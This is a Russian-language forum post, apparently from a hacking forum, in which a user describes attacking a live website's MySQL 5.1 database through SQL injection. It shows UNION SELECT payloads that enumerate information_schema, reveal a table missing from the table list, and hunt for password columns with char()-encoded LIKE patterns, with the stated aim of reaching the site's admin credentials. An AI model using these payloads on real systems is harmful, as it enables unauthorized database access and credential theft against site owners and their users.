[mysql 5.1.19-beta-log] таблицы не прописаны в information_schema.tables

[mysql 5.1.19-beta-log] таблицы не прописаны в information_schema.tables

04.01.2008, 06:51

je0n

Постоянный

Регистрация: 14.05.2006

Сообщений: 334

С нами: 10522103

Репутация: 272

[mysql 5.1.19-beta-log] таблицы не прописаны в information_schema.tables

нашел уязвимость. пятая ветка мускула. Прогнал по именам таблиц от начала до конца и нашлось только четыре таблицы (не относящихся к служебным БД):

Цитата:

gb
gbdata
unprintable
users

Но на этом же сайте, как минимум, крутится форум, скрипт новостей, магазин... я уже подумал, что каждая часть сайта находится в разных базах. но потом сделал запрос вида:

Цитата:

....+union+select+1,...,10+from+news/*

и запрос выполнился удачно! а таблицы news в information_schema.tables не было!
проверил вот так:

Цитата:

union+select+1,...,column_name+from+information_sc hema.columns+where+table_name=char(110,101,119,115 )/*

(char(...) - это news) И фак! выводятся имена колонок таблицы news, которой, блин, нету!
Вот меня это немного смущает

на сайте есть админка, и я так понимаю должа быть таблица с админами. да и форум есть... хочу знать имена таблиц! как быть?

ADDED
проблему о выводе нужных мне таблиц я решил таким образом:

Цитата:

union+select+1,...,table_name+from+information_sch ema.columns+where+column_name+like+char(37,112,97, 115,115,37)/*

(где char(...) - char(%pass%) ыыыыы

цуки! от меня не уйти

Но весь замут мне так и остался не ясен

че занах?

𝕏 Twitter Reddit Telegram Копировать ссылку

Последний раз редактировалось je0n; 04.01.2008 в 07:09..